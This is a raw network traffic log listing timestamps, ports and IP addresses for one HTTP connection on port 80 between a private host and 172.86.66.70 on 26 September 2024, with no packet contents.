Sep 26, 2024 15:10:47.346499920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346499920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346529007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346543074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346555948 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346566916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346577883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346590042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346595049 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346601009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346611977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346622944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346622944 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346635103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346638918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346647978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346659899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346668959 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346673012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346683979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346726894 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347218990 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347230911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347246885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347259045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347270012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347271919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347289085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347291946 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347301006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347311020 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347313881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347326040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347337008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347347975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347352028 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347362995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347373962 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347393036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347395897 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347395897 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347404957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347419977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347430944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347431898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347445011 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347450972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347456932 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347467899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347480059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347484112 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347490072 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347491980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347503901 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347517967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347560883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347881079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347893000 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347906113 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347918987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347929955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347939968 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347944021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.347961903 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.347987890 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348045111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348062992 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348074913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348087072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348097086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348108053 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348109007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348119974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348125935 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348134041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348153114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348164082 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348165035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348177910 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348187923 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348191023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348201990 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348213911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348216057 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348225117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348237991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348251104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348267078 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348268032 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348822117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348834038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348845005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348856926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348870993 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348874092 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348886013 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348897934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348908901 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348915100 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348915100 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348922014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348932981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348937035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348944902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348958969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348965883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.348969936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.348982096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349000931 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349044085 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349220991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349240065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349251986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349262953 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349263906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349277020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349291086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349303961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349304914 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349317074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349328995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349334955 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349340916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.349351883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.349361897 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.355524063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.378509045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378618956 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.378664970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378678083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378730059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.378736973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378750086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378762960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378777027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.378787041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.378865957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.378890038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423528910 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423590899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423645973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423671007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.423679113 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423710108 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.423712969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423746109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423779964 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.423808098 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.423892975 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.424089909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424187899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424222946 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424251080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.424274921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424312115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424345970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.424376011 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.424525023 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.425324917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426681042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426713943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426749945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.426769018 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426801920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426836014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426868916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426870108 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.426887035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.426903009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426950932 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.426956892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.426991940 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427025080 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427057981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427082062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427090883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427124977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427129030 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427159071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427172899 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427228928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427263975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427297115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427301884 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427349091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427402020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427411079 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427449942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427481890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427532911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427532911 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427532911 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427567005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427603960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427625895 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427638054 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427670956 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427702904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427720070 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427736044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427771091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427803040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427817106 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427817106 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427838087 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427870989 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427884102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427905083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427953959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.427961111 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.427989960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428021908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428051949 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428056002 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428093910 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428133965 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428147078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428180933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428216934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428250074 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428251028 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428282976 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428284883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428318024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428329945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428350925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428384066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428430080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428436041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428468943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428505898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428510904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428541899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428575993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428579092 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428608894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428643942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428652048 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428694010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428729057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428736925 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428780079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428813934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428841114 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428843975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428872108 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428879023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428915977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428949118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.428956985 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.428987026 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429020882 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429042101 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429056883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429081917 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429115057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429148912 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429162979 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429177046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429228067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429260969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429282904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429292917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429301023 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429327965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429363012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429395914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429425955 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429428101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429457903 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429462910 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429496050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429516077 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429529905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429563046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429595947 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.429596901 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.429673910 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432480097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432532072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432581902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432610035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432616949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432650089 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432661057 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432682991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432735920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432742119 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432789087 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432821035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432854891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432885885 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432888985 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432914972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432941914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.432969093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.432976007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.433012009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.433085918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.467202902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467257977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467292070 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467324972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467359066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467411995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467433929 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.467446089 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.467489958 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.509901047 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.512203932 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512217045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512228012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512288094 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.512825966 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512839079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512850046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512861967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.512876987 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.512911081 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.512995958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513005972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513011932 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513022900 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513041973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513053894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513062954 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.513065100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513107061 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.513118982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.513139009 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.514955044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.514966965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.514980078 CEST	80	49712	172.86.66.70	192.168.2.12
